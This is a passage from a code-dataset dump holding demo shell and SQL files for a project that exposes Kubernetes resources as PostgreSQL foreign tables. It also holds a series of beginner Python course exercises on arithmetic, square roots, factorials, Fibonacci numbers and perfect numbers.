'nginx-deployment';\"\n\necho \"================== DISPLAYING IMAGE NAMES ===================\"\npsql postgres <<< \"select * from pods where image_names @> ARRAY['nginx:1.7.9']::varchar[];\"\n\necho \"================== DISPLAYING ANNOTATIONS ===================\"\npsql postgres <<< \"select name from deployments where annotations->>'owner' ='Sarah'\"" }, { "alpha_fraction": 0.7623188495635986, "alphanum_fraction": 0.7710145115852356, "avg_line_length": 25.538461685180664, "blob_id": "a3c7bcd0d3fc354adcded50d8004acde0ea4940f", "content_id": "718ba68492beb2c86ce8e691bb6dab91c9c371eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 345, "license_type": "no_license", "max_line_length": 68, "num_lines": 13, "path": "/demo/init.sh", "repo_name": "ktchen14/kubernetesql", "src_encoding": "UTF-8", "text": "#! /usr/bin/env bash\n\nkubectl apply -f postgresql.yml\nkubectl apply -f nginx.yml\nkubectl annotate --overwrite deployment postgresql-deployment user=3\nkubectl annotate --overwrite deployment nginx-deployment user=1\n\npushd .. > /dev/null\n\tpython3 setup.py install -f\npopd > /dev/null\n\npsql postgres < foreign_ddl.sql\npsql postgres < local_ddl.sql\n" }, { "alpha_fraction": 0.5681445002555847, "alphanum_fraction": 0.6403940916061401, "avg_line_length": 20.75, "blob_id": "9f3f0cd5d7c29e9aa71418a169e38e2e4d82fab7", "content_id": "2f85c3941aab215ac78bfb16cf941698e0befb43", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 609, "license_type": "no_license", "max_line_length": 69, "num_lines": 28, "path": "/demo/local_ddl.sql", "repo_name": "ktchen14/kubernetesql", "src_encoding": "UTF-8", "text": "DROP TABLE IF EXISTS employee;\nCREATE TABLE employee (\n user_id INT,\n name TEXT,\n email TEXT,\n manager INT\n);\n\nINSERT INTO employee\nVALUES\n(1, 'Melanie', '[email protected]', 10),\n(2, 'Dhanashree', '[email protected]', 10),\n(3, 'Ashuka', '[email protected]', 10),\n(10, 'Kaiting', '[email protected]', 20)\n;\n\nDROP TABLE IF EXISTS cves;\nCREATE TABLE cves (\n id TEXT,\n description TEXT,\n docker_image TEXT\n);\n\nINSERT INTO cves VALUES\n('CVE-2018-7000', 'A security issue in nginx', 'nginx:1.7.9'),\n('CVE-2018-8000', 'A problem with apache', 'library/apache'),\n('CVE-2018-9000', 'Something bad with postgresql', 'postgres:9.3.23')\n;\n" }, { "alpha_fraction": 0.7735655903816223, "alphanum_fraction": 0.7745901346206665, "avg_line_length": 45.42856979370117, "blob_id": "be14b3c675e8235d69716e27db16337a73d959af", "content_id": "ab2a8d09c6903e35d20d69ccc1a34d1abc2548a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 976, "license_type": "no_license", "max_line_length": 103, "num_lines": 21, "path": "/demo/demo_query.sql", "repo_name": "ktchen14/kubernetesql", "src_encoding": "UTF-8", "text": "\nSELECT pods.name as pod_name, nodes.name as node_name, nodes.external_ip FROM nodes\nINNER JOIN pods\nON pods.node_name = nodes.name;\n\nSELECT name, desired, current_num, available, age FROM deployments WHERE name = 'nginx-deployment';\nUPDATE deployments SET desired = 5 WHERE name = 'nginx-deployment';\nSELECT name, desired, current_num, available, age FROM deployments WHERE name = 'nginx-deployment';\nSELECT name, deployment_name, ready, status, age FROM pods WHERE deployment_name = 'nginx-deployment';\n\n-- get a list of employee emails where the employee is the owner of a deployment impacted by the outage\n\nSELECT * FROM employee;\n\nSELECT * FROM cves;\n\nSELECT DISTINCT deployments.name as deployment_name, employee.name, email FROM employee\nINNER JOIN deployments ON employee.user_id::TEXT = annotations->>'user'\nINNER JOIN pods ON pods.deployment_name = deployments.name\nINNER JOIN cves ON cves.docker_image = ANY(pods.image_names);\n\n-- Containers in pods in our cluster\n" }, { "alpha_fraction": 0.7295476198196411, "alphanum_fraction": 0.7324350476264954, "avg_line_length": 29.573530197143555, "blob_id": "67619383250ac0fdce6f353be219e54e87014413", "content_id": "55921b5c4a663be0e2bd31aa413cd24d0c14a1d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 2078, "license_type": "no_license", "max_line_length": 89, "num_lines": 68, "path": "/demo/foreign_ddl.sql", "repo_name": "ktchen14/kubernetesql", "src_encoding": "UTF-8", "text": "DROP EXTENSION IF EXISTS multicorn;\nCREATE EXTENSION multicorn;\nSET client_min_messages TO 'debug';\nDROP SERVER IF EXISTS k8s_wrapper CASCADE;\n\nCREATE SERVER k8s_wrapper FOREIGN DATA WRAPPER multicorn\noptions (\n wrapper 'kubernetesql.initialize_fdw'\n);\n\nDROP FOREIGN TABLE IF EXISTS nodes;\n\nCREATE FOREIGN TABLE nodes (\n-- items.metadata.name\n name character varying,\n-- items.status.addresses (where type == externalIP)\n\texternal_ip inet,\n-- status character varying,\n -- items.metadata.creationTimestamp\n age character varying,\n-- items.status.nodeInfo.kubeletVersion\n version character varying\n) server k8s_wrapper options ( resource_type 'nodes');\n\nDROP FOREIGN TABLE IF EXISTS deployments;\n\nCREATE FOREIGN TABLE deployments (\n-- items.metadata.name\n name character varying,\n-- items.replicas\n desired int,\n-- items.readyReplicas\n current_num int,\n-- items.updatedReplicas\n up_to_date int,\n-- items.availableReplicas\n available int,\n -- items.metadata.creationTimestamp\n age character varying,\n -- items. metadata.annotations\n annotations jsonb\n) server k8s_wrapper options (resource_type 'deployments');\n\nDROP FOREIGN TABLE IF EXISTS pods;\n\nCREATE FOREIGN TABLE pods (\n-- items.metadata.name\n name character varying,\n -- items.spec.node_name\n node_name character varying,\n -- items.metadata.ownerReference.name (to get ReplicaSet)\n -- items.ownerReference.name (after getting ReplicaSet info to get deployment name)\n deployment_name character varying,\n -- items.spec.containers[x] image\n image_names character varying[],\n -- items.status.containerStatuses.ready == true -- numerator\n -- length( items.status.containerStatuses) -- denominator\n ready character varying,\n -- items.status.phase\n status character varying,\n -- items.status.containerStatuses.restartCount\n restarts int,\n -- items.status.startTime\n age character varying\n) server k8s_wrapper options (resource_type 'pods');\n\n\n-- UPDATE deployments set desired = 3 where name = 'nginx-deployment';" }, { "alpha_fraction": 0.6090395450592041, "alphanum_fraction": 0.611299455165863, "avg_line_length": 23.61111068725586, "blob_id": "ae4c124a31dd81ed46d11a0b2f18b899b57f8168", "content_id": "92951a3c0c2a224a4a625aed297d889dc86d2807", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 885, "license_type": "no_license", "max_line_length": 79, "num_lines": 36, "path": "/test_reading_nodes.py", "repo_name": "ktchen14/kubernetesql", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python3\n\nimport kubernetesql\n\nprint('*********** TESTING EXECUTION ***********')\n\nprint('\\n====== TESTING NODES ======')\nwrapper = kubernetesql.initialize_fdw({\n 'resource_type': 'nodes',\n}, {})\nfor line in wrapper.execute(None, None):\n\tprint(line)\n\n\nprint('\\n====== TESTING DEPLOYMENTS ======')\nwrapper = kubernetesql.initialize_fdw({\n 'resource_type': 'deployments',\n}, {})\nfor line in wrapper.execute(None, None):\n\tprint(line)\n\n\nprint('\\n====== TESTING PODS ======')\nwrapper = kubernetesql.initialize_fdw({\n 'resource_type': 'pods',\n}, {})\nfor line in wrapper.execute(None, None):\n\tprint(line)\n\n\nprint('\\n\\n\\n*********** TESTING UPDATE ***********')\nprint('\\n====== TESTING DEPLOYMENTS ======')\nwrapper = kubernetesql.initialize_fdw({\n 'resource_type': 'deployments',\n}, {})\nwrapper.update('nginx-deployment', { 'name': 'nginx-deployment', 'desired': 4})" } ]
8
ojhermann-ucd/comp10280
https://github.com/ojhermann-ucd/comp10280
cabc865361928565c9618250bcb2c20a4b17411e
eae44e373b4c19550860381d90c4a96f8190eb7d
c4be966cc6d4aeaa4c950bcbc5a3cfc5540f533d
refs/heads/master
2020-05-20T18:48:06.064953
2016-11-25T12:26:59
2016-11-25T12:26:59
68,710,257
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5959119200706482, "alphanum_fraction": 0.6297169923782349, "avg_line_length": 25.60869598388672, "blob_id": "1f97ac573db2f734fb2c8cd1c0affcac44aa480f", "content_id": "fac56b8cd07dac4b6b71697cac59caf38a03837a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1272, "license_type": "no_license", "max_line_length": 119, "num_lines": 46, "path": "/p7p5.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nWrite a program that sums the integers in the range 1 - 10 000 that are divisble by 3 or by 5 and prints out the total.\r\nSave this program as p7p5.py.\r\n\r\nPseudocode\r\ndefine the range\r\nfor each element of the range:\r\n if element is divisible by 3 or 5:\r\n add it to the running sum\r\n else:\r\n nothing\r\nprint running sum\r\n\r\n\"\"\"\r\n#if the range in inclusive\r\nrange_min = 1\r\nrange_max = 10000\r\nrange_problem = range(range_min, range_max, 1)\r\nsum_problem = 0\r\nfor i in range_problem:\r\n if (i % 3 == 0) or (i % 5 == 0):\r\n sum_problem += i\r\n else:\r\n pass\r\nprint(str(sum_problem) + \" is the answer if the range does not include 10000 (as we would expect in Python).\")\r\nsum_problem += range_max\r\nprint(str(sum_problem) + \" is the answer if the range does include 10000 (as we might expect in natural language).\")\r\n\r\n\r\n\r\n\"\"\"\r\n#manual inputs\r\nrange_min = 0\r\nrange_max = 10000\r\nmultiples = [3, 5]\r\nsum_list = []\r\n\r\n#algorithm\r\nfor m in multiples:\r\n m_range = range(range_min, range_max, m)\r\n for r in m_range:\r\n if r not in sum_list:\r\n sum_list.append(r)\r\nprint(sum(sum_list))\r\nprint(\"This is a minor adjustment on Project Euler Problem 1, so I've put my solution to that problem in here.\")\r\n\"\"\"\r\n\r\n" }, { "alpha_fraction": 0.6107382774353027, "alphanum_fraction": 0.6275168061256409, "avg_line_length": 23.189189910888672, "blob_id": "eed5d037ddbd1f23afcd8a42ffb676440cc10d29", "content_id": "bf285259ab81b7504b46b7de0c1e11dada1a4ee5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 894, "license_type": "no_license", "max_line_length": 121, "num_lines": 37, "path": "/p16p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\nensure that input meets criteria\n\nrecursively define the function\n\ndefine function that prints each value from 1 up to input using the recursively defined function\n\n\"\"\"\n\nimport sys\n\ndef fnc(n):\n\tif n == 1:\n\t\treturn 2\n\telse:\n\t\treturn 2 * fnc(n - 1)\n\ndef fncSeq(p):\n\tfor i in range(1, p + 1, 1):\n\t\tif i == 1:\n\t\t\tprint(\"fnc(\" + str(i) + \") = \" + str(fnc(i)) + \" by definition\")\n\t\telse:\n\t\t\tprint(\"fnc(\" + str(i) + \") = \" + str(fnc(i)) + \" = 2 x \" + \"fnc(\" + str(i - 1) + \")\")\n\treturn \"I would have used @functools.lru_cache(None) to make this quick, but I assume that is off limits in this course\"\n\nwhile True:\n\ttry:\n\t\tnum = int(input(\"Please enter an integer greater than 0 (or an integer < 1 to exit): \"))\n\t\tif 0 < num:\n\t\t\tprint(fncSeq(num))\n\t\telse:\n\t\t\tprint(\"Thank you, goodbye.\")\n\t\t\tsys.exit()\n\texcept ValueError:\n\t\tprint(\"You must enter an integer greater than 0.\")\n\t\tsys.exit()" }, { "alpha_fraction": 0.6396867036819458, "alphanum_fraction": 0.6553524732589722, "avg_line_length": 27.615385055541992, "blob_id": "3646e11c1292c86ec3a24b538c0b4cefd3d265b3", "content_id": "2e41834d85ff44d5c04b53d6c461b0033f6a5950", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 383, "license_type": "no_license", "max_line_length": 70, "num_lines": 13, "path": "/p5p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "while True:\r\n try:\r\n float_val = float(input(\"Enter a floating point value: \"))\r\n break\r\n except ValueError:\r\n print(\"You did not enter a floating point value; please try again.\")\r\n\r\nif float_val < 0.00:\r\n print(str(float_val) + \" is less than zero.\")\r\nelif float_val > 0.00:\r\n print(str(float_val) + \" is greater than zero.\")\r\nelse:\r\n print(str(float_val) + \" is equal to zero.\")" }, { "alpha_fraction": 0.6459276080131531, "alphanum_fraction": 0.6481900215148926, "avg_line_length": 18.136363983154297, "blob_id": "b1d177fc1c7d9aa6ebadaa2f99f5aa94c0f0f140", "content_id": "49b3df43ab6b54853e4a3f6d321d4b330efba193", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 884, "license_type": "no_license", "max_line_length": 92, "num_lines": 44, "path": "/p6p3_submit.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nQUESTION\r\nWrite a program that asks the user their name.\r\n\r\nIf they enter your name, print \"That is a cool name!\"\r\n\r\nIf they enter \"Mickey Mouse\" or \"Spongebob Squarepants\", tell them that you are not sure that that is their name.\r\n\r\nOtherwise, tell them \"You have a nice name.\"\r\n\r\nThe program should then terminate.\r\n\"\"\"\r\n\r\n\"\"\"\r\nPSEUDOCODE\r\n\r\nInputs\r\nmy_name = s1\r\nuser_name = s2\r\n\r\nAlgorithm\r\nEnter user name\r\n\r\nif user_name == my_name:\r\n print \"That is a cool name!\"\r\nelif user_name one of bad_names:\r\n print \"I do not think that is your name.\"\r\nelse:\r\n print \"You have a nice name.\"\r\n\"\"\"\r\n\r\n#existing inputs\r\nmy_name = \"Otto\"\r\n\r\n#user inputs\r\nuser_name = input(\"Enter your name: \")\r\n\r\n#algorithm\r\nif user_name == my_name:\r\n print(\"That is a cool name!\")\r\nelif (user_name == \"Mickey Mouse\") or (user_name == \"Spongebobo Squarepants\"):\r\n print(\"I do not think that is your name.\")\r\nelse:\r\n print(\"You have a nice name.\")" }, { "alpha_fraction": 0.7073333263397217, "alphanum_fraction": 0.7120000123977661, "avg_line_length": 25.803571701049805, "blob_id": "f54e317602eafcbb4b7e77b1d6e2d22463a7ee08", "content_id": "83cddf2eb10fc49fe7176fc4c548235f922517c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1502, "license_type": "no_license", "max_line_length": 99, "num_lines": 56, "path": "/p13p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nImplement the program that uses the print max function from today’s lectures (Page 9 of the notes).\nEnsure that you understand what is going on and how it works. Save this program as p13p3.py.\n\nProgram to print out the largest of two numbers entered by the user\nUses two functions: max and print_max\n\nPseudocode\n- place p13p2.py inside of another function (you have access to this for its pseudocode)\n- include user input requests within this function\n- print the results of the inputs in the max_example function\n\nError Checking Notes\n\n\"\"\"\nimport sys\n\ndef print_max_example():\n\t\"\"\"\n\tfunction: prints the result of max_example\n\t\"\"\"\n\tdef max_example(a, b):\n\t\t\"\"\"\n\t\tfunction: returns the maximum of two numbers\n\n\t\tassumptions:\n\t\t- a is a non-negative integer\n\t\t- b is a non-negative integer\n\t\t\"\"\"\n\t\tif a > b:\n\t\t\treturn a\n\t\telse:\n\t\t\treturn b\n\t#prompt user for the first number\n\twhile True:\n\t\ttry:\n\t\t\tnumA = float(input(\"Enter a floating point value: \"))\n\t\t\tbreak\n\t\texcept ValueError:\n\t\t\tprint(\"Restart the program and enter a floating point value if you wish to continue.\")\n\t\t\tsys.exit()\n\n\t#prompt user for the second number\n\twhile True:\n\t\ttry:\n\t\t\tnumB = float(input(\"Enter a floating point value: \"))\n\t\t\tbreak\n\t\texcept ValueError:\n\t\t\tprint(\"Restart the program and enter a floating point value if you wish to continue.\")\n\t\t\tsys.exit()\n\t#print stuff\n\tprint(\"The largest of \" + str(numA) + \" and \" + str(numB) + \" is \" + str(max_example(numA, numB)))\n\t#gratuitous return\n\treturn\n\nprint_max_example()" }, { "alpha_fraction": 0.7032608985900879, "alphanum_fraction": 0.7119565010070801, "avg_line_length": 40.8636360168457, "blob_id": "ce1ad16930d3df8bcc28355eda4e2c55ffcd0ef6", "content_id": "f8953f240f940f11d54fa8d1dbe5fd210d48b179", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 920, "license_type": "no_license", "max_line_length": 165, "num_lines": 22, "path": "/p14p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode for this algorithm was given in the lecture slide referenced in the problem\n\nThis is a nice way to check if a number is prime without storing a list of prime numbers.\n\nThis mememory efficient approach of using a range vs. a list, is efficient.\n\nA range generates a number when it is to be iterated over, while a list would create all the numbers to be iterated, save them in a list, and then iterate over them.\n\nThis method is less memory intense.\n\"\"\"\nfor num in range(2, 20, 1):\n\tfor i in range(2, num, 1):\n\t\tif num % i == 0:\n\t\t\tprint(str(num) + \" = \" + str(i) + \" * \" + str(num // i))\n\t\t\tbreak\n\telse:\n\t\tprint(str(num) + \" is a prime number\")\nprint(\"Finished!\")\nprint(\"note: this was taken and not modified from the lecture notes\")\nprint(\"note: there are failings of this method e.g. it would treat 1 as a prime number\")\nprint(\"note: I have not corrected problems as that was not in the problem request\")" }, { "alpha_fraction": 0.7383966445922852, "alphanum_fraction": 0.746835470199585, "avg_line_length": 45.79999923706055, "blob_id": "bdaae6ab962426b250b65b726d37442fd29403b1", "content_id": "70e01dada745ff6a90b063bf05c6a57a89b92e65", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 237, "license_type": "no_license", "max_line_length": 136, "num_lines": 5, "path": "/p2p4.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "#this program prints all the elements of a given string, starting with the first element of the string and ending with the final element\r\nanimal = 'elephant'\r\nanimal_len = len(animal)\r\nfor i in range(0,animal_len + 1):\r\n print(animal[i])" }, { "alpha_fraction": 0.6938775777816772, "alphanum_fraction": 0.7017268538475037, "avg_line_length": 29.345237731933594, "blob_id": "fc8cf13f7df2944b5e908ef9041ecdfea4749e91", "content_id": "90741afc9e5811ecd1881e88f0acf8765da313f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2548, "license_type": "no_license", "max_line_length": 153, "num_lines": 84, "path": "/p12p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nWrite a function that takes as its two arguments a number and a tolerance and, \nusing the technique exposed in lectures, returns an approximation of the square root of the number that is within the tolerance.\n\nWrite a program that prompts the user for a floating-point number and checks that the number entered is non-negative. \nIf it is, it calls the function defined in part (a) with the number and a tolerance defined in the program and prints out the square root of the number; \nif not, it prints out an appropriate error message.\n\nPseudocode\ndef sroot(n, e):\n\tfunction will, using user input number n and margin of error e check that difference of n and an assumed root (starting at zero) are within e\n\tif not within e, increment root by e^2\n\tcontinue this process until either an acceptable approximation is found or root^2 is larger than n\n\tprint according message\n\nError Checking Notes\nnum: garbage, negative, zero, OK\nepsilon: garbage, negative, zero, OK\n\n(n, e) to check:\n.- g,g\n.- g,n\n.- g,z\n.- g,o\n.- n,g\n.- n,n\n.- n,z\n.- n,o\n.- z,g\n.- z,n\n.- z,z\n.- z,o\n.- o,g\n.- o,n\n.- o,z\n.- o,o\n\n\"\"\"\nimport sys\n\ndef sroot(num, epsilon):\n\tstep = epsilon ** 2\n\troot = 0\n\tnumGuesses = 0\n\twhile epsilon <= abs(num - root**2) and root**2 <= num:\n\t\troot += step\n\t\tnumGuesses += 1\n\t\tif numGuesses % 100000 == 0:\n\t\t\tprint(\"Still running. Number of guesses: \" + str(numGuesses))\n\t\telse:\n\t\t\tpass\n\tprint(\"Number of guesses: \" + str(numGuesses))\n\tif abs(num - root**2) < epsilon:\n\t\tprint(\"The approximate square root of \" + str(num) + \" is \" + str(root))\n\telse:\n\t\tprint(\"Failed to find a square root of \" + str(num))\n\tprint(\"Finished!\")\n\nwhile True:\n\ttry:\n\t\tnum = float(input(\"Enter a floating point value that you would like to know the square root of: \"))\n\t\tif num < 0:\n\t\t\tprint(\"Restart the program and enter a positive floating point value if you wish to continue.\")\n\t\t\tsys.exit()\n\t\tbreak\n\texcept ValueError:\n\t\tprint(\"Restart the program and enter a floating point value if you wish to continue.\")\n\t\tsys.exit()\n\nwhile True:\n\ttry:\n\t\ttol = float(input(\"Enter a floating point value that you would like to use as your tolerance margin: \"))\n\t\tif tol < 0:\n\t\t\tprint(\"Restart the program and enter a positive floating point value if you wish to continue.\")\n\t\t\tsys.exit()\n\t\telif tol == 0:\n\t\t\tprint(\"We're using floating point numbers, so you cannot have 0 margin of error. Please start over again.\")\n\t\t\tsys.exit()\n\t\tbreak\n\texcept ValueError:\n\t\tprint(\"Restart the program and enter a floating point value if you wish to continue.\")\n\t\tsys.exit()\n\nsroot(num, tol)" }, { "alpha_fraction": 0.6856796145439148, "alphanum_fraction": 0.7026699185371399, "avg_line_length": 28.592592239379883, "blob_id": "2dd215b84d5ce556492c00061517e96cbd63c9bc", "content_id": "f2ec1b081fbabfb20a0d9f9be727483973f7453c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 824, "license_type": "no_license", "max_line_length": 108, "num_lines": 27, "path": "/p3p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "import math\r\n\r\n#manual inputs\r\nlength = 2.0000\r\n\r\n#calculated inputs\r\nlength = float(length)#making sure the variable is a floating point figure and compatible with Python2\r\ndiameter = length\r\nradius = float(diameter / 2)#making sure the variable is a floating point figure and compatible with Python2\r\n\r\n#calculations\r\narea_square = length ** 2\r\n\r\nvolume_cube = length ** 3\r\n\r\narea_circle = math.pi * (radius ** 2)\r\n\r\nvolume_sphere = float(4 / 3) * float(math.pi) * (radius**3)\r\n\r\nvolume_cylinder = area_circle * length\r\n\r\n#outputs\r\nprint(\"The area of the square is \" + str(area_square))\r\nprint(\"The volume of the cube is \" + str(volume_cube))\r\nprint(\"The area of the circle is \" + str(area_circle))\r\nprint(\"The volume of the sphere is \" + str(volume_sphere))\r\nprint(\"The volume of the cylinder is \" + str(volume_cylinder))" }, { "alpha_fraction": 0.6768488883972168, "alphanum_fraction": 0.6961414813995361, "avg_line_length": 54.727272033691406, "blob_id": "6a84f551b3ee309624b3ac5681f2b57817f7a474", "content_id": "1353a68f5253253d0ff17e4e5fd4e80263bdb06a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 622, "license_type": "no_license", "max_line_length": 150, "num_lines": 11, "path": "/p4p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "#manual inputs\r\ncurrency_1_name = input(\"Enter the identifying symbol of the original currency: \")\r\ncurrency_1_val = float(input(\"Enter the amount of the original currency: \"))\r\ncurrency_2_name = input(\"Enter the identifying symbol of the other currency: \")\r\nexchange_rate = float(input(\"Enter the exchange rate between \" + currency_1_name + \" and \" + currency_2_name + \": \"))\r\n\r\n#calculations\r\ncurrency_2_val = round(float(currency_1_val * exchange_rate), 2)\r\n\r\n#output\r\nprint(\"With an exchange rate of \" + str(exchange_rate) + \", \" + currency_1_name + str(currency_1_val) + \" = \" + currency_2_name + str(currency_2_val))" }, { "alpha_fraction": 0.6180124282836914, "alphanum_fraction": 0.6327639818191528, "avg_line_length": 23.788461685180664, "blob_id": "a99bbfddeb7db6188fb9a550cd7951ded0c5d207", "content_id": "f4eb3e6f8771cc8788a0147338042379f15ea5b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1288, "license_type": "no_license", "max_line_length": 121, "num_lines": 52, "path": "/p14p5.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\nmake a recursively defined fib fnc\nmake another fnc that returns the value of the recursive fib fnc for each value up to and including the selected number\n\nNote: just below would be my preferred recursive function for the fib sequence in python\n\nimport functools\[email protected]_cache(None)\ndef fib(n):\n\tif n < 2:\n\t\treturn n\n\telse:\n\t\treturn fib(n - 1) + fib(n - 2)\n\"\"\"\n\n\nimport sys\n\n#recursive calculation of a Fib num\ndef recFib(n):\n\tif n == 0:\n\t\treturn 0\n\telif n == 1:\n\t\treturn 1\n\telse:\n\t\treturn recFib(n - 2) + recFib (n - 1)\n\n#function to display a fib sequence\ndef recFibSeq(p):\n\tfor i in range(0, p + 1, 1):\n\t\tif i == 0:\n\t\t\tprint(\"fib(\" + str(i) + \" = 0 by definition\")\n\t\telif i == 1:\n\t\t\tprint(\"fib(\" + str(i) + \" = 1 by definition\")\n\t\telse:\n\t\t\tprint(\"fib(\" + str(i) + \") = \" + str(recFib(i)) + \" = fib(\" + str(i - 2) + \") + \" + \"fib(\" + str(i - 1) + \")\")\n\treturn \"I would have used @functools.lru_cache(None) to make this quick, but I assuem that is off limits in this course\"\n\nwhile True:\n\ttry:\n\t\tnum = int(input(\"enter a non-negative integer (or negative integer to quit): \"))\n\t\tif -1 < num:\n\t\t\tprint(recFibSeq(num))\n\t\telse:\n\t\t\tprint(\"Thank you, good bye.\")\n\t\t\tprint(\"\")\n\t\t\tsys.exit()\n\texcept ValueError:\n\t\tprint(\"That was not an integer.\")\n\t\tprint(\"\")\n\t\tsys.exit()" }, { "alpha_fraction": 0.7054597735404968, "alphanum_fraction": 0.7227011322975159, "avg_line_length": 35.68421173095703, "blob_id": "b551eea7f10f8e18b98ce0315fea56bfad9c36b8", "content_id": "a21710a4d7531d8c00d322d9d7d54a157e4fde89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 696, "license_type": "no_license", "max_line_length": 167, "num_lines": 19, "path": "/p17p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\n\ndefine variables, including user input string\n\ncount occurances of strings in the user input string\n\nif the occurances are the same, print message; otherwise, print other message\n\"\"\"\n\n\nvar1 = \"cat\"\nvar2 = \"dog\"\ninputString = input(\"Please enter a string of whatever you would like: \")\n\nif inputString.count(var1) == inputString.count(var2):\n\tprint(str(var1), \"occurs\", str(inputString.count(var1)), \"and\", str(var1), \"occurs\", str(inputString.count(var2)), \", so they both occur the same number of times.\")\nelse:\n\tprint(str(var1), \"occurs\", str(inputString.count(var1)), \"and\", str(var1), \"occurs\", str(inputString.count(var2)), \", so they do not occur the same number of times.\")" }, { "alpha_fraction": 0.6610716581344604, "alphanum_fraction": 0.6707553267478943, "avg_line_length": 20.52777862548828, "blob_id": "e8ed992a0a13ca2c769ab9bfe7d807ea9fa574aa", "content_id": "39aa85208dead9037a33e619d9c30bc38ae3f08f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1549, "license_type": "no_license", "max_line_length": 102, "num_lines": 72, "path": "/p16p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\ndefine function that finds divisors for a given interger input:\n- negative function\n- positive function\n\ndefine fucntion that determines if number is perfect (one for both pos and neg inputs):\n- if sume of output of first function is equal to input, return True; else False\n\ndefine a fucntion that, for a given input (positive and negative), prints each number up to the input:\n- pos: for i in range 0 to input, if perfect, append to list\n- neg: for i in range input to -1, if perfect, append to list\n- in both cases, return the list\n\n\"\"\"\n\n\nimport sys\n\ndef posDivs(n):\n\tdivRange = range(1, n, 1)\n\toutput = [i for i in divRange if n % i == 0]\n\treturn output\n\ndef posNum(n):\n\tif sum(posDivs(n)) == n:\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef posNums(n):\n\tpRange = range(0, n + 1, 1)\n\toutput = []\n\tfor i in pRange:\n\t\tif posNum(i):\n\t\t\toutput.append(i)\n\t\telse:\n\t\t\tpass\n\treturn output\n\n\ndef negDivs(n):\n\tdivRange = range(-1, n, -1)\n\toutput = [i for i in divRange if n % i == 0]\n\treturn output\n\ndef negNum(n):\n\tif sum(negDivs(n)) == n:\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef negNums(n):\n\tpRange = range(0, n -1, -1)\n\toutput = []\n\tfor i in pRange:\n\t\tif negNum(i):\n\t\t\toutput.append(i)\n\t\telse:\n\t\t\tpass\n\treturn output\n\nwhile True:\n\ttry:\n\t\tnum = int(input(\"Please enter an integer (or something else to exit): \"))\n\t\tif 0 < num:\n\t\t\tprint(\"The perfect numbers up to\", str(num), \"are\", posNums(num))\n\t\telse:\n\t\t\tprint(\"The perfect numbers up to\", str(num), \"are\", negNums(num))\n\texcept ValueError:\n\t\tprint(\"You must enter an integer.\")\n\t\tsys.exit()" }, { "alpha_fraction": 0.548491358757019, "alphanum_fraction": 0.5603448152542114, "avg_line_length": 27.0625, "blob_id": "5eefcc8631a823460a8d25debd373247164d8074", "content_id": "66fb717bc021956aecc8b73bf34f952796ba09f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 928, "license_type": "no_license", "max_line_length": 115, "num_lines": 32, "path": "/p9p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nWrite a program that prompts the user for an integer and uses a for loop to calculate the factorial of that number.\r\n\r\nPseudocode\r\nuser enters num (make sure it's valid)\r\nif num < 0:\r\n let user know to enter a positive value\r\nelse:\r\n if n = 0:\r\n return 1\r\n else:\r\n return n*factorial(n-1)\r\n\"\"\"\r\n\r\nwhile True:\r\n try:\r\n num = int(input(\"Enter a positive integer value, please: \"))\r\n break\r\n except ValueError:\r\n print(\"Restart the program and enter a positive integer if you wish to continue.\")\r\n break\r\n\r\nif num < 0:\r\n print(\"Restart the program and enter a positive integer if you wish to continue.\")\r\nelse:\r\n fac = 1\r\n if num == 0 or num == 1:\r\n print(str(num) + \"! = \" + str(fac))\r\n else:\r\n for n in range(1, num + 1, 1):#REQUESTED FOR LOOOP\r\n fac *= n\r\n 